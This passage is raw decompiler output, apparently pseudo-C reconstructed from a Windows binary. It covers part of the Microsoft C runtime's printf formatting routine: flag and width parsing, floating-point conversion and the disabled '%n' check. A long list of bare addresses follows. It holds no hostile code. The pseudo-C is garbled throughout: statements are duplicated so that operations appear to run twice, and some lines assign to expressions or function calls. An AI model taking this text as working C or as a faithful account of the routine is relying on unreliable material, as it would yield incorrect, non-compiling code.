																									E00422C90(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041AEB0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x435638; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435620))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x435660; // 0x4e6e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043564C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E410();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422F00(_t618))) = 0x16;
																						E00422C90(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041AEB0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BD50(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E410();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041AEB0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422F00(_t605))) = 0x16;
																				E00422C90(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041AEB0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E004357B0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E004357F0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E004357B0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E004357F0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E004342C0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E004357F0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E004357B0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x4356cc; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435690))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004283F0(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xab8ad97d
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x2b8ac62f
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x2b8ac616
																							E00424750(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004283F0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428430(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004283F0(__ebp + 0x14);
																			if(E00433FA0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E410();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																				__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEB0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00435019
0x00435019
0x00435019
0x00435019
0x00435019
0x00435019
0x00435019
0x0043501f
0x00435022
0x00000000
0x0043509a
0x00000000
0x0043509a
0x00000000
0x0043509a
0x0043509a
0x004350a2
0x004350c4
0x004350ca
0x004350ef
0x00435136
0x00435139
0x0043515a
0x0043515f
0x00435164
0x0043516a
0x0043513b
0x0043513f
0x00435144
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f7
0x00435119
0x0043511e
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350fd
0x00435102
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350d0
0x004350d5
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a8
0x004350ad
0x004350b0
0x004350b6
0x004350b6
0x00435176
0x004351b8
0x004351be
0x004351ca
0x00000000
0x00435178
0x00435178
0x00435178
0x0043517f
0x00000000
0x0043518c
0x0043518c
0x0043519a
0x0043519f
0x004351a5
0x004351b3
0x004351d0
0x004351d8
0x004351fa
0x004351fa
0x00435204
0x00435215
0x0043521f
0x00435221
0x00435221
0x00435206
0x00435206
0x00435206
0x00435234
0x00435236
0x00435236
0x00435240
0x00435243
0x00435243
0x00435249
0x0043524c
0x00435251
0x00000000
0x00000000
0x00435261
0x00435264
0x0043526e
0x0043527d
0x00435286
0x0043529c
0x004352a2
0x004352af
0x004352bd
0x004352bd
0x004352cc
0x004352d4
0x004352d4
0x004352dc
0x004352e2
0x004352eb
0x004352f7
0x00435310
0x00435316
0x0043531f
0x0043531f
0x00000000
0x00435322
